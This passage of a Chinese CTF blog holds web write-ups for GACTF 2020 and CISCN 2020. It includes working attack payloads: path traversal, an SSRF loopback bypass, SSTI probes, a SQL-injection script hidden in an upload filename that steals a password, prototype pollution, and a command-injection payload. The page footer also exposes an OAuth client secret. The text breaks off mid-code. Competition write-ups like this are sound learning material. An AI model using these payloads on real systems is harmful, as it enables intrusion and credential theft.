\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e \u003c/div\u003e\u003c/div\u003e\u003cp\u003e阅读源码我们可以看出,出题人自行注册了session数据存储机制,将session数据存储在了web目录下,文件名后半部分可控。\u003cbr\u003e参考php \u003ccode\u003esession_set_save_handler\u003c/code\u003e函数手册,结合源码,我们可以发现源码对sessionid进行了简单过滤。\u003c/p\u003e\u003cp\u003e如何解这道题呢?\u003c/p\u003e\u003ch3 id=\"最简单的解法\"\u003e最简单的解法\u003c/h3\u003e\u003cp\u003e首先我们可以看到Accounts页面中回显了\u003ccode\u003enote_\u003c/code\u003e文件的内容,我们能够控制这个文件的路径,而这里存在目录穿越\u003cbr\u003e所以我们把sessionid设置成\u003ccode\u003e../../../../flag\u003c/code\u003e就行了。flag文件我们没权限写,读权限还是有的。我们是这么做出来的((\u003c/p\u003e\u003ch3 id=\"出题人可能预期的解法\"\u003e出题人可能预期的解法\u003c/h3\u003e\u003cp\u003e虽然题已经做出来了,但是后面貌似出题人将flag加入了关键词检测。看一看源码,有两个有趣的地方\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003esrand(固定值)\u003c/code\u003e\u003c/li\u003e\u003cli\u003esession处理的逻辑写在了一个类里面,有\u003ccode\u003e__destruct\u003c/code\u003e,且反序列化可以绕过对sessionid的waf\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e具体怎么做还没来得及研究,之后有空了再说吧\u003c/p\u003e\u003ch2 id=\"EZFLASK\"\u003eEZFLASK\u003c/h2\u003e\u003cp\u003e出题人给出了部分源码,明摆着就是想让我们去访问admin路由。\u003cbr\u003e\u003ca href=\"https://docs.python.org/3/reference/datamodel.html?highlight=__globals__\"\u003e__globals__到底是什么\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ccode\u003e\u0026#123;\u0026#123;index.__globals__\u0026#125;\u0026#125;\u003c/code\u003e\u003c/p\u003e\u003cimg src=\"/2020/09/01/Security/Writeup/GACTF-2020-Web/upload_e92ae998edaadf1d01a758abe82e4d47.png\" class=\"\" title=\"aaa\"\u003e\u003cp\u003e于是我们可以看出admin路由为\u003ccode\u003e/h4rdt0f1nd_9792uagcaca00qjaf\u003c/code\u003e,访问后发现是一个requests的ssrf点。\u003cbr\u003e还有一个ctf函数我们还没有用过,看出题人的意思是那里有一些提示。通过\u003ca href=\"https://docs.python.org/3/reference/datamodel.html?highlight=__code__\"\u003e__code__属性\u003c/a\u003e我们可以一窥ctf函数中的常量:\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u0026#123;\u0026#123;ctf.__code__.co_consts\u0026#125;\u0026#125;:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e可知:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ehint = \u003cspan class=\"string\"\u003e\u0026#x27;the admin route :h4rdt0f1nd_9792uagcaca00qjaf\u0026lt;!-- port : 5000 --\u0026gt;\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003etrick = \u003cspan class=\"string\"\u003e\u0026#x27;too young too simple\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e提示说5000端口有另一个服务。但是当我们尝试访问\u003ccode\u003e127.0.0.1\u003c/code\u003e时发现有waf。梅开二度,我们可以通过\u003ccode\u003e__code__\u003c/code\u003e来大体看到waf规则:\u003c/p\u003e\u003cimg src=\"/2020/09/01/Security/Writeup/GACTF-2020-Web/upload_f4abe482d6ed5160ea58f93868f0cce4.png\" class=\"\" title=\"Result\"\u003e\u003cp\u003e0.0被过滤了。冷知识时间:本地回环地址为\u003ccode\u003e127.0.0.0/8\u003c/code\u003e,这个掩码\u003ccode\u003e8\u003c/code\u003e是不是看起来不太直观?我们换个样子试试:\u003ccode\u003e255.0.0.0\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e所以访问\u003ccode\u003e127.114.51.4:5000\u003c/code\u003e,看到内层的应用是一个裸的ssti,flag在app.config里。然而ssrf的path在外层进行了过滤(\u003ccode\u003ewaf_path\u003c/code\u003e)。很可惜,\u003ccode\u003ewaf_path.__code__.co_consts\u003c/code\u003e由于长度问题被过滤了,过滤规则只能通过盲猜。\u003c/p\u003e\u003cp\u003e经过一系列尝试,在\u003ccode\u003eurl_for.__globals__.current_app\u003c/code\u003e找到了app对象。\u003c/p\u003e\u003ch2 id=\"carefuleyes\"\u003ecarefuleyes\u003c/h2\u003e\u003cp\u003e整体上就是Hitcon 2016 babytrick梅开二度,随便找一个注入点就行了\u003c/p\u003e\u003cp\u003erename.php中有一个自注入,很刻意\u003c/p\u003e\u003cp\u003e我 注 我 自 己\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e requests \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e session\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e phpserialize \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e *\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eses = session()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# host = \u0026#x27;http://124.71.191.175\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ehost = \u003cspan class=\"string\"\u003e\u0026#x27;http://202.182.118.236\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# host = \u0026#x27;http://localhost\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003efile = \u003cspan class=\"string\"\u003e\u0026#x27;frankli\\\u0026#x27; and 1=0 union select 1,`password` as filename,3,4,5 from user where username=\\\u0026#x27;XM\\\u0026#x27; #.txt\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eses.post(host + \u003cspan class=\"string\"\u003e\u0026#x27;/upload.php\u0026#x27;\u003c/span\u003e, files=\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;upfile\u0026#x27;\u003c/span\u003e: (file, \u003cspan class=\"string\"\u003e\u0026#x27;b\u0026#x27;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;).text\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003epasswd = ses.get(host + \u003cspan class=\"string\"\u003e\u0026#x27;/rename.php\u0026#x27;\u003c/span\u003e, params=\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;oldname\u0026#x27;\u003c/span\u003e: file[:-\u003cspan class=\"number\"\u003e4\u003c/span\u003e],\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;newname\u0026#x27;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#x27;asdf\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;).text\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003epasswd = passwd[\u003cspan class=\"number\"\u003e14\u003c/span\u003e:passwd.find(\u003cspan class=\"string\"\u003e\u0026#x27;will be changed\u0026#x27;\u003c/span\u003e) - \u003cspan class=\"number\"\u003e1\u003c/span\u003e]\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eXCTFGG\u003c/span\u003e:\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e private_method = \u003cspan class=\"string\"\u003e\u0026#x27;login\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e private_args = [\u003cspan class=\"string\"\u003e\u0026#x27;XM\u0026#x27;\u003c/span\u003e, passwd]\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(ses.post(host + \u003cspan class=\"string\"\u003e\u0026#x27;/upload.php\u0026#x27;\u003c/span\u003e, files=\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;upfile\u0026#x27;\u003c/span\u003e: (\u003cspan class=\"string\"\u003e\u0026#x27;frank.txt\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;c\u0026#x27;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;, params=\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;data\u0026#x27;\u003c/span\u003e: serialize(XCTFGG())\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;).text)\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"simple-flask-与-XWiki\"\u003esimple flask 与 XWiki\u003c/h2\u003e\u003cp\u003e略。simple flask抢了个一血,挺开心的(\u003c/p\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async\u003e\u003c/script\u003e","url":"https://blog.frankli.site/2020/09/01/Security/Writeup/GACTF-2020-Web/"},{"title":"第十三届全国大学生信息安全竞赛西北赛区 Web题目 Writeup","time":"2020-08-20T16:00:00Z","content":"\u003ch2 id=\"littlegame\"\u003elittlegame\u003c/h2\u003e\n\u003cp\u003ejs原型链污染,\u003ccode\u003eset-value\u003c/code\u003e库3.0.0旧版本。公开exploit如下:\u003c/p\u003e\n\u003cfigure class=\"highlight javascript\"\u003e\u003ctable\u003e\u003chr /\u003e\u003ch2 id=\"littlegame\"\u003elittlegame\u003c/h2\u003e\u003cp\u003ejs原型链污染,\u003ccode\u003eset-value\u003c/code\u003e库3.0.0旧版本。公开exploit如下:\u003c/p\u003e\u003cfigure class=\"highlight javascript\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003econst\u003c/span\u003e setFn = \u003cspan class=\"built_in\"\u003erequire\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;set-value\u0026#x27;\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003econst\u003c/span\u003e paths = [\u003cspan class=\"string\"\u003e\u0026#x27;constructor.prototype.a0\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;__proto__.a1\u0026#x27;\u003c/span\u003e,];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e(\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e (\u003cspan class=\"params\"\u003e\u003c/span\u003e) \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003econst\u003c/span\u003e p \u003cspan class=\"keyword\"\u003eof\u003c/span\u003e paths) \u0026#123; setFn(\u0026#123;\u0026#125;, p, \u003cspan class=\"literal\"\u003etrue\u003c/span\u003e); \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003elet\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; paths.length; i++) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e ((\u0026#123;\u0026#125;)[\u003cspan class=\"string\"\u003e`a\u003cspan class=\"subst\"\u003e$\u0026#123;i\u0026#125;\u003c/span\u003e`\u003c/span\u003e] === \u003cspan class=\"literal\"\u003etrue\u003c/span\u003e) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003econsole\u003c/span\u003e.log(\u003cspan class=\"string\"\u003e`Yes with \u003cspan class=\"subst\"\u003e$\u0026#123;paths[i]\u0026#125;\u003c/span\u003e`\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;)()\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e拿来主义,用就完了\u003c/p\u003e\u003cp\u003e阅读源码,可以发现在\u003ccode\u003e/Privilege\u003c/code\u003e处进行了\u003ccode\u003eset-value\u003c/code\u003e调用,并且在\u003ccode\u003e/DeveloperControlPanel\u003c/code\u003e处检查了\u003ccode\u003eAdmin\u003c/code\u003e对象(一个普通的数组)的任意可控属性,那污染字典类型的原型,添加一个自定义属性即可。\u003c/p\u003e\u003cp\u003e最终exploit:\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e requests \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e session\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eses = session()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ehost = \u003cspan class=\"string\"\u003e\u0026#x27;\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eses.get(host + \u003cspan class=\"string\"\u003e\u0026#x27;/SpawnPoint\u0026#x27;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eses.post(host + \u003cspan class=\"string\"\u003e\u0026#x27;/Privilege\u0026#x27;\u003c/span\u003e, data=\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;NewAttributeKey\u0026#x27;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#x27;__proto__.pwd\u0026#x27;\u003c/span\u003e,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;NewAttributeValue\u0026#x27;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#x27;frankli\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(ses.post(host + \u003cspan class=\"string\"\u003e\u0026#x27;/DeveloperControlPanel\u0026#x27;\u003c/span\u003e, data=\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;key\u0026#x27;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#x27;pwd\u0026#x27;\u003c/span\u003e,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;password\u0026#x27;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#x27;frankli\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;).text)\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"babyunserialize\"\u003ebabyunserialize\u003c/h2\u003e\u003cp\u003e见\u003ca href=\"https://blog.frankli.site/2020/08/21/fatfree%20POP/\"\u003e另一篇博客\u003c/a\u003e\u003c/p\u003e\u003ch2 id=\"easytrick\"\u003eeasytrick\u003c/h2\u003e\u003cp\u003e一开始是联想到了Nu1l在某处的论坛里发的利用\u003ccode\u003eException\u003c/code\u003e的\u003ccode\u003e__toString\u003c/code\u003e来绕过判等(属性不同,不强等于),但是无奈太长了\u003cbr\u003e\u003ccode\u003eSimpleXMLElement\u003c/code\u003e也找不到合适的方式利用(有可能么?)\u003c/p\u003e\u003cp\u003e后来想了想,不可能是利用对象的\u003ccode\u003e__toString\u003c/code\u003e来绕过,因为这样无法同时绕过三个判断\u003c/p\u003e\u003cp\u003e最后发现\u003ccode\u003e1.00...001\u003c/code\u003e在转字符串的时候会变成\u003ccode\u003e1\u003c/code\u003e\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003etrick\u003c/span\u003e:\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e trick1 = \u003cspan class=\"number\"\u003e1.00000000000001\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e trick2 = \u003cspan class=\"number\"\u003e1.000000000000001\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(serialize(trick()))\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"剩下两道就放个payload吧。。\"\u003e剩下两道就放个payload吧。。\u003c/h2\u003e\u003cul\u003e\u003cli\u003erceme: 没过滤反引号 \u003ccode\u003e?a=\u0026#123;if:var_dump(``ls``)\u0026#125;\u0026#123;end if\u0026#125;\u003c/code\u003e\u003c/li\u003e\u003cli\u003eeasyphp: Apache收到SIGUSR1的时候会软重启 \u003ccode\u003e?a=call_user_func\u0026amp;b=pcntl_wait\u003c/code\u003e\u003c/li\u003e\u003c/ul\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async\u003e\u003c/script\u003e","url":"https://blog.frankli.site/2020/08/21/Security/Writeup/CISCN%202020/"},{"title":"fatfree framework POP链挖掘","time":"2020-08-20T16:00:00Z","content":"\u003cp\u003eWeb狗无法在险恶的CTF世界中存活\u003c/p\u003e\n\u003cp\u003eCISCN2020 落幕,web所有题加起来还不如misc/crypto/re题的零头,吐了\u003c/p\u003e\n\u003cp\u003e这里写一下babyserialize的题的题解,其它题有心情了再写\u003c/p\u003e\n\u003ch2 id=\"babyseriali\u003chr /\u003e\u003cp\u003eWeb狗无法在险恶的CTF世界中存活\u003c/p\u003e\u003cp\u003eCISCN2020 落幕,web所有题加起来还不如misc/crypto/re题的零头,吐了\u003c/p\u003e\u003cp\u003e这里写一下babyserialize的题的题解,其它题有心情了再写\u003c/p\u003e\u003ch2 id=\"babyserialize\"\u003ebabyserialize\u003c/h2\u003e\u003cp\u003e前段时间在WMCTF中挖的链被断掉了,稍微改一改\u003c/p\u003e\u003cp\u003e第一次见flag直接放phpinfo里头的。。。找了半天没找到。。。\u003c/p\u003e\u003cp\u003e在这里把挖到的几条链都放一下吧\u003c/p\u003e\u003ch3 id=\"单个任意参数调用任意函数\"\u003e单个任意参数调用任意函数\u003c/h3\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan 